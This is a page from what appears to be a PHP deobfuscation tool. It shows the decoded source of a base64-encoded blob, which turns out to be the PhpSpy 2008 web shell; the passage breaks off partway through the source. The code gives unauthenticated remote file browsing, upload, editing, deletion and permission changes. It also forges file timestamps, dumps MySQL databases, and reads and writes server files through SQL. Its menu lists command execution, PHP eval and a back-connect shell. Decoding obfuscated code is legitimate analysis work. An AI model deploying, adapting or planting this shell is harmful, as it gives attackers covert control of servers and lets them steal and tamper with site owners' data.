Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(base64_decode('PD9waHANCg0KDQplcnJvcl9yZXBvcnRpbmcoNyk7DQoNCkBzZXRfbWFnaWNfcXVvdGVzX3..

Decoded Output download

<?php


error_reporting(7);

@set_magic_quotes_runtime(0);

ob_start();

$mtime = explode(' ', microtime());

$starttime = $mtime[1] + $mtime[0];

define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');

//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );

define('IS_WIN', DIRECTORY_SEPARATOR == '\\');

define('IS_COM', class_exists('COM') ? 1 : 0 );

define('IS_GPC', get_magic_quotes_gpc());

$dis_func = get_cfg_var('disable_functions');

define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );

@set_time_limit(0);



foreach(array('_GET','_POST') as $_request) {

	foreach($$_request as $_key => $_value) {

		if ($_key{0} != '_') {

			if (IS_GPC) {

				$_value = s_array($_value);

			}

			$$_key = $_value;

		}

	}

}



/*===================== ???? =====================*/

$admin = array();

// ????????, true ?????, false ?????.???????

$admin['check'] = false;

// ????????,???????

$admin['pass']  = 'hack';



//??? cookie ?????????, ??????, ???????, ???????

// cookie ??

$admin['cookiepre'] = '';

// cookie ???

$admin['cookiedomain'] = '';

// cookie ????

$admin['cookiepath'] = '/';

// cookie ???

$admin['cookielife'] = 86400;

/*===================== ???? =====================*/



if ($charset == 'utf8') {

	header("content-Type: text/html; charset=utf-8");

} elseif ($charset == 'big5') {

	header("content-Type: text/html; charset=big5");

} elseif ($charset == 'gbk') {

	header("content-Type: text/html; charset=gbk");

} elseif ($charset == 'latin1') {

	header("content-Type: text/html; charset=iso-8859-2");

}



$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];

$timestamp = time();



/*===================== ???? =====================*/

if ($action == "logout") {

	scookie('phpspypass', '', -86400 * 365);

	p('<meta http-equiv="refresh" content="1;URL='.$self.'">');

	p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');

	exit;

}

if($admin['check']) {

	if ($doing == 'login') {

		if ($admin['pass'] == $password) {

			scookie('phpspypass', $password);

			p('<meta http-equiv="refresh" content="1;URL='.$self.'">');

			p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');

			exit;

		}

	}

	if ($_COOKIE['phpspypass']) {

		if ($_COOKIE['phpspypass'] != $admin['pass']) {

			loginpage();

		}

	} else {

		loginpage();

	}

}

/*===================== ???? =====================*/



$errmsg = '';



// ??PHPINFO

if ($action == 'phpinfo') {

	if (IS_PHPINFO) {

		phpinfo();

	} else {

		$errmsg = 'phpinfo() function has non-permissible';

	}

}



// ????

if ($doing == 'downfile' && $thefile) {

	if (!@file_exists($thefile)) {

		$errmsg = 'The file you want Downloadable was nonexistent';

	} else {

		$fileinfo = pathinfo($thefile);

		header('Content-type: application/x-'.$fileinfo['extension']);

		header('Content-Disposition: attachment; filename='.$fileinfo['basename']);

		header('Content-Length: '.filesize($thefile));

		@readfile($thefile);

		exit;

	}

}



// ?????????

if ($doing == 'backupmysql' && !$saveasfile) {

	dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);

	$table = array_flip($table);

	$result = q("SHOW tables");

	if (!$result) p('<h2>'.mysql_error().'</h2>');

	$filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');

	header('Content-type: application/unknown');

	header('Content-Disposition: attachment; filename='.$filename);

	$mysqldata = '';

	while ($currow = mysql_fetch_array($result)) {

		if (isset($table[$currow[0]])) {

			$mysqldata .= sqldumptable($currow[0]);

		}

	}

	mysql_close();

	exit;

}



// ??MYSQL????

if($doing=='mysqldown'){

	if (!$dbname) {

		$errmsg = 'Please input dbname';

	} else {

		dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);

		if (!file_exists($mysqldlfile)) {

			$errmsg = 'The file you want Downloadable was nonexistent';

		} else {

			$result = q("select load_file('$mysqldlfile');");

			if(!$result){

				q("DROP TABLE IF EXISTS tmp_angel;");

				q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");

				//?????????,???????????__angel_1111111111_eof__??????????

				q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");

				$result = q("select content from tmp_angel");

				q("DROP TABLE tmp_angel");

			}

			$row = @mysql_fetch_array($result);

			if (!$row) {

				$errmsg = 'Load file failed '.mysql_error();

			} else {

				$fileinfo = pathinfo($mysqldlfile);

				header('Content-type: application/x-'.$fileinfo['extension']);

				header('Content-Disposition: attachment; filename='.$fileinfo['basename']);

				header("Accept-Length: ".strlen($row[0]));

				echo $row[0];

				exit;

			}

		}

	}

}



?>

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gbk">

<title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>

<style type="text/css">

body,td{font: 12px Arial,Tahoma;line-height: 16px;}

.input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}

.area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}

.bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}

a {color: #00f;text-decoration:underline;}

a:hover{color: #f00;text-decoration:none;}

.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}

.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}

.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}

.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}

.head td span{font-weight:normal;}

form{margin:0;padding:0;}

h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}

ul.info li{margin:0;color:#444;line-height:24px;height:24px;}

u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}

</style>

<script type="text/javascript">

function CheckAll(form) {

	for(var i=0;i<form.elements.length;i++) {

		var e = form.elements[i];

		if (e.name != 'chkall')

		e.checked = form.chkall.checked;

    }

}

function $(id) {

	return document.getElementById(id);

}

function goaction(act){

	$('goaction').action.value=act;

	$('goaction').submit();

}

</script>

</head>

<body style="margin:0;table-layout:fixed; word-break:break-all">

<table width="100%" border="0" cellpadding="0" cellspacing="0">

	<tr class="head">

		<td><span style="float:right;"><a href="http://www.4ngel.net.tr" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>

	</tr>

	<tr class="alt1">

		<td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>

			<a href="javascript:goaction('logout');">Logout</a> | 

			<a href="javascript:goaction('file');">File Manager</a> | 

			<a href="javascript:goaction('sqladmin');">MySQL Manager</a> | 

			<a href="javascript:goaction('sqlfile');">MySQL Upload &amp; Download</a> | 

			<a href="javascript:goaction('shell');">Execute Command</a> | 

			<a href="javascript:goaction('phpenv');">PHP Variable</a> | 

			<a href="javascript:goaction('eval');">Eval PHP Code</a>

			<?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>

		</td>

	</tr>

</table>

<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>

<?php



formhead(array('name'=>'goaction'));

makehide('action');

formfoot();



$errmsg && m($errmsg);



// ??????

!$dir && $dir = '.';

$nowpath = getPath(SA_ROOT, $dir);

if (substr($dir, -1) != '/') {

	$dir = $dir.'/';

}

$uedir = ue($dir);



if (!$action || $action == 'file') {



	// ??????

	$dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';



	// ????

	if ($doing == 'deldir' && $thefile) {

		if (!file_exists($thefile)) {

			m($thefile.' directory does not exist');

		} else {

			m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));

		}

	}



	// ????

	elseif ($newdirname) {

		$mkdirs = $nowpath.$newdirname;

		if (file_exists($mkdirs)) {

			m('Directory has already existed');

		} else {

			m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));

			@chmod($mkdirs,0777);

		}

	}



	// ????

	elseif ($doupfile) {

		m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));

	}



	// ????

	elseif ($editfilename && $filecontent) {

		$fp = @fopen($editfilename,'w');

		m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));

		@fclose($fp);

	}



	// ??????

	elseif ($pfile && $newperm) {

		if (!file_exists($pfile)) {

			m('The original file does not exist');

		} else {

			$newperm = base_convert($newperm,8,10);

			m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));

		}

	}



	// ??

	elseif ($oldname && $newfilename) {

		$nname = $nowpath.$newfilename;

		if (file_exists($nname) || !file_exists($oldname)) {

			m($nname.' has already existed or original file does not exist');

		} else {

			m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));

		}

	}



	// ????

	elseif ($sname && $tofile) {

		if (file_exists($tofile) || !file_exists($sname)) {

			m('The goal file has already existed or original file does not exist');

		} else {

			m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));

		}

	}



	// ????

	elseif ($curfile && $tarfile) {

		if (!@file_exists($curfile) || !@file_exists($tarfile)) {

			m('The goal file has already existed or original file does not exist');

		} else {

			$time = @filemtime($tarfile);

			m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));

		}

	}



	// ?????

	elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {

		if (!@file_exists($curfile)) {

			m(basename($curfile).' does not exist');

		} else {

			$time = strtotime("$year-$month-$day $hour:$minute:$second");

			m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));

		}

	}



	// ????

	elseif($doing == 'downrar') {

		if ($dl) {

			$dfiles='';

			foreach ($dl as $filepath => $value) {

				$dfiles.=$filepath.',';

			}

			$dfiles=substr($dfiles,0,strlen($dfiles)-1);

			$dl=explode(',',$dfiles);

			$zip=new PHPZip($dl);

			$code=$zip->out;

			header('Content-type: application/octet-stream');

			header('Accept-Ranges: bytes');

			header('Accept-Length: '.strlen($code));

			header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');

			echo $code;

			exit;

		} else {

			m('Please select file(s)');

		}

	}



	// ??????

	elseif($doing == 'delfiles') {

		if ($dl) {

			$dfiles='';

			$succ = $fail = 0;

			foreach ($dl as $filepath => $value) {

				if (@unlink($filepath)) {

					$succ++;

				} else {

					$fail++;

				}

			}

			m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);

		} else {

			m('Please select file(s)');

		}

	}



	//????

	formhead(array('name'=>'createdir'));

	makehide('newdirname');

	makehide('dir',$nowpath);

	formfoot();

	formhead(array('name'=>'fileperm'));

	makehide('newperm');

	makehide('pfile');

	makehide('dir',$nowpath);

	formfoot();

	formhead(array('name'=>'copyfile'));

	makehide('sname');

	makehide('tofile');

	makehide('dir',$nowpath);

	formfoot();

	formhead(array('name'=>'rename'));

	makehide('oldname');

	makehide('newfilename');

	makehide('dir',$nowpath);

	formfoot();

	formhead(array('name'=>'fileopform'));

	makehide('action');

	makehide('opfile');

	makehide('dir');

	formfoot();



	$free = @disk_free_space($nowpath);

	!$free && $free = 0;

	$all = @disk_total_space($nowpath);

	!$all && $all = 0;

	$used = $all-$free;

	$used_percent = @round(100/($all/$free),2);

	p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');



?>

<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">

  <form action="" method="post" id="godir" name="godir">

  <tr>

    <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>

	<td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>

    <td nowrap><input class="bt" value="GO" type="submit"></td>

  </tr>

  </form>

</table>

<script type="text/javascript">

function createdir(){

	var newdirname;

	newdirname = prompt('Please input the directory name:', '');

	if (!newdirname) return;

	$('createdir').newdirname.value=newdirname;

	$('createdir').submit();

}

function fileperm(pfile){

	var newperm;

	newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');

	if (!newperm) return;

	$('fileperm').newperm.value=newperm;

	$('fileperm').pfile.value=pfile;

	$('fileperm').submit();

}

function copyfile(sname){

	var tofile;

	tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');

	if (!tofile) return;

	$('copyfile').tofile.value=tofile;

	$('copyfile').sname.value=sname;

	$('copyfile').submit();

}

function rename(oldname){

	var newfilename;

	newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');

	if (!newfilename) return;

	$('rename').newfilename.value=newfilename;

	$('rename').oldname.value=oldname;

	$('rename').submit();

}

function dofile(doing,thefile,m){

	if (m && !confirm(m)) {

		return;

	}

	$('filelist').doing.value=doing;

	if (thefile){

		$('filelist').thefile.value=thefile;

	}

	$('filelist').submit();

}

function createfile(nowpath){

	var filename;

	filename = prompt('Please input the file name:', '');

	if (!filename) return;

	opfile('editfile',nowpath + filename,nowpath);

}

function opfile(action,opfile,dir){

	$('fileopform').action.value=action;

	$('fileopform').opfile.value=opfile;

	$('fileopform').dir.value=dir;

	$('fileopform').submit();

}

function godir(dir,view_writable){

	if (view_writable) {

		$('godir').view_writable.value=1;

	}

	$('godir').dir.value=dir;

	$('godir').submit();

}

</script>

  <?php

	tbhead();

	p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');

	p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');

	p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');

	if ($view_writable) {

		p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');

	} else {

		p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');

	}

	p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');

	if (IS_WIN && IS_COM) {

		$obj = new COM('scripting.filesystemobject');

		if ($obj && is_object($obj)) {

			$DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');

			foreach($obj->Drives as $drive) {

				if ($drive->DriveType == 2) {

					p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'&#13;Free:'.sizecount($drive->FreeSpace).'&#13;Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');

				} else {

					p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');

				}

			}

		}

	}



	p('</td></tr></form>');



	p('<tr class="head"><td>&nbsp;</td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');



	//???????????

	$dirdata=array();

	$filedata=array();



	if ($view_writable) {

		$dirdata = GetList($nowpath);

	} else {

		// ????

		$dirs=@opendir($dir);

		while ($file=@readdir($dirs)) {

			$filepath=$nowpath.$file;

			if(@is_dir($filepath)){

				$dirdb['filename']=$file;

				$dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));

				$dirdb['dirchmod']=getChmod($filepath);

				$dirdb['dirperm']=getPerms($filepath);

				$dirdb['fileowner']=getUser($filepath);

				$dirdb['dirlink']=$nowpath;

				$dirdb['server_link']=$filepath;

				$dirdb['client_link']=ue($filepath);

				$dirdata[]=$dirdb;

			} else {		

				$filedb['filename']=$file;

				$filedb['size']=sizecount(@filesize($filepath));

				$filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));

				$filedb['filechmod']=getChmod($filepath);

				$filedb['fileperm']=getPerms($filepath);

				$filedb['fileowner']=getUser($filepath);

				$filedb['dirlink']=$nowpath;

				$filedb['server_link']=$filepath;

				$filedb['client_link']=ue($filepath);

				$filedata[]=$filedb;

			}

		}// while

		unset($dirdb);

		unset($filedb);

		@closedir($dirs);

	}

	@sort($dirdata);

	@sort($filedata);

	$dir_i = '0';

	foreach($dirdata as $key => $dirdb){

		if($dirdb['filename']!='..' && $dirdb['filename']!='.') {

			$thisbg = bg();

			p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');

			p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');

			p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');

			p('<td nowrap>'.$dirdb['mtime'].'</td>');

			p('<td nowrap>--</td>');

			p('<td nowrap>');

			p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');

			p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');

			p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');

			p('</tr>');

			$dir_i++;

		} else {

			if($dirdb['filename']=='..') {

				p('<tr class='.bg().'>');

				p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');

				p('</tr>');

			}

		}

	}



	p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');

	p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');

	makehide('action','file');

	makehide('thefile');

	makehide('doing');

	makehide('dir',$nowpath);

	$file_i = '0';

	foreach($filedata as $key => $filedb){

		if($filedb['filename']!='..' && $filedb['filename']!='.') {

			$fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);

			$thisbg = bg();

			p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');

			p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');

			p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');

			p('<td nowrap>'.$filedb['mtime'].'</td>');

			p('<td nowrap>'.$filedb['size'].'</td>');

			p('<td nowrap>');

			p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');

			p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');

			p('<td nowrap>');

			p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');

			p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');

			p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');

			p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');

			p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');

			p('</td></tr>');

			$file_i++;

		}

	}

	p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');

	p('</form></table>');

}// end dir



elseif ($action == 'sqlfile') {

	if($doing=="mysqlupload"){

		$file = $_FILES['uploadfile'];

		$filename = $file['tmp_name'];

		if (file_exists($savepath)) {

			m('The goal file has already existed');

		} else {

			if(!$filename) {

				m('Please choose a file');

			} else {

				$fp=@fopen($filename,'r');

				$contents=@fread($fp, filesize($filename));

				@fclose($fp);

				$contents = bin2hex($contents);

				if(!$upname) $upname = $file['name'];

				dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);

				$result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");

				m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());

			}

		}

	}

?>

<script type="text/javascript">

function mysqlfile(doing){

	if(!doing) return;

	$('doing').value=doing;

	$('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;

	$('mysqlfile').dbport.value=$('dbinfo').dbport.value;

	$('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;

	$('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;

	$('mysqlfile').dbname.value=$('dbinfo').dbname.value;

	$('mysqlfile').charset.value=$('dbinfo').charset.value;

	$('mysqlfile').submit();

}

</script>

<?php

	!$dbhost && $dbhost = 'localhost';

	!$dbuser && $dbuser = 'root';

	!$dbport && $dbport = '3306';

	$charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');

	formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));

	makehide('action','sqlfile');

	p('<p>');

	p('DBHost:');

	makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));

	p(':');

	makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));

	p('DBUser:');

	makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));

	p('DBPass:');

	makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));

	p('DBName:');

	makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));

	p('DBCharset:');

	makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));

	p('</p>');

	formfoot();

	p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');

	p('<h2>Upload file</h2>');

	p('<p><b>This operation the DB user must has FILE privilege</b></p>');

	p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');

	p('<h2>Download file</h2>');

	p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');

	makehide('dbhost');

	makehide('dbport');

	makehide('dbuser');

	makehide('dbpass');

	makehide('dbname');

	makehide('charset');

	makehide('doing');

	makehide('action','sqlfile');

	p('</form>');

}



elseif ($action == 'sqladmin') {

	!$dbhost && $dbhost = 'localhost';

	!$dbuser && $dbuser = 'root';

	!$dbport && $dbport = '3306';

	$dbform = '<input type="hidden" id="connect" name="connect" value="1" />';

	if(isset($dbhost)){

		$dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";

	}

	if(isset($dbuser)) {

		$dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";

	}

	if(isset($dbpass)) {

		$dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";

	}

	if(isset($dbport)) {

		$dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";

	}

	if(isset($dbname)) {

		$dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";

	}

	if(isset($charset)) {

		$dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";

	}



	if ($doing == 'backupmysql' && $saveasfile) {

		if (!$table) {

			m('Please choose the table');

		} else {

			dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);

			$table = array_flip($table);

			$fp = @fopen($path,'w');

			if ($fp) {

				$result = q('SHOW tables');

				if (!$result) p('<h2>'.mysql_error().'</h2>');

				$mysqldata = '';

				while ($currow = mysql_fetch_array($result)) {

					if (isset($table[$currow[0]])) {

						sqldumptable($currow[0], $fp);

					}

				}

				fclose($fp);

				$fileurl = str_replace(SA_ROOT,'',$path);

				m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');

				mysql_close();

			} else {

				m('Backup failed');

			}

		}

	}

	if ($insert && $insertsql) {

		$keystr = $valstr = $tmp = '';

		foreach($insertsql as $key => $val) {

			if ($val) {

				$keystr .= $tmp.$key;

				$valstr .= $tmp."'".addslashes($val)."'";

				$tmp = ',';

			}

		}

		if ($keystr && $valstr) {

			dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);

			m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());

		}

	}

	if ($update && $insertsql && $base64) {

		$valstr = $tmp = '';

		foreach($insertsql as $key => $val) {

			$valstr .= $tmp.$key."='".addslashes($val)."'";

			$tmp = ',';

		}

		if ($valstr) {

			$where = base64_decode($base64);

			dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);

			m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());

		}

	}

	if ($doing == 'del' && $base64) {

		$where = base64_decode($base64);

		$delete_sql = "DELETE FROM $tablename WHERE $where";

		dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);

		m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());

	}



	if ($tablename && $doing == 'drop') {

		dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);

		if (q("DROP TABLE $tablename")) {

			m('Drop table of success');

			$tablename = '';

		} else {

			m(mysql_error());

		}

	}



	$charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');



	formhead(array('title'=>'MYSQL Manager'));

	makehide('action','sqladmin');

	p('<p>');

	p('DBHost:');

	makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));

	p(':');

	makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));

	p('DBUser:');

	makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));

	p('DBPass:');

	makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));

	p('DBCharset:');

	makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));

	makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));

	p('</p>');

	formfoot();

?>

<script type="text/javascript">

function editrecord(action, base64, tablename){

	if (action == 'del') {		

		if (!confirm('Is or isn\'t deletion record?')) return;

	}

	$('recordlist').doing.value=action;

	$('recordlist').base64.value=base64;

	$('recordlist').tablename.value=tablename;

	$('recordlist').submit();

}

function moddbname(dbname) {

	if(!dbname) return;

	$('setdbname').dbname.value=dbname;

	$('setdbname').submit();

}

function settable(tablename,doing,page) {

	if(!tablename) return;

	if (doing) {

		$('settable').doing.value=doing;

	}

	if (page) {

		$('settable').page.value=page;

	}

	$('settable').tablename.value=tablename;

	$('settable').submit();

}

</script>

<?php

	//????

	formhead(array('name'=>'recordlist'));

	makehide('doing');

	makehide('action','sqladmin');

	makehide('base64');

	makehide('tablename');

	p($dbform);

	formfoot();



	//?????

	formhead(array('name'=>'setdbname'));

	makehide('action','sqladmin');

	p($dbform);

	if (!$dbname) {

		makehide('dbname');

	}

	formfoot();



	//???

	formhead(array('name'=>'settable'));

	makehide('action','sqladmin');

	p($dbform);

	makehide('tablename');

	makehide('page',$page);

	makehide('doing');

	formfoot();



	$cachetables = array();	

	$pagenum = 30;

	$page = intval($page);

	if($page) {

		$start_limit = ($page - 1) * $pagenum;

	} else {

		$start_limit = 0;

		$page = 1;

	}

	if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {

		dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);

		//???????

		$mysqlver = mysql_get_server_info();

		p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');

		$highver = $mysqlver > '4.1' ? 1 : 0;



		//?????

		$query = q("SHOW DATABASES");

		$dbs = array();

		$dbs[] = '-- Select a database --';

		while($db = mysql_fetch_array($query)) {

			$dbs[$db['Database']] = $db['Database'];

		}

		makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));

		$tabledb = array();

		if ($dbname) {

			p('<p>');

			p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');

			if ($tablename) {

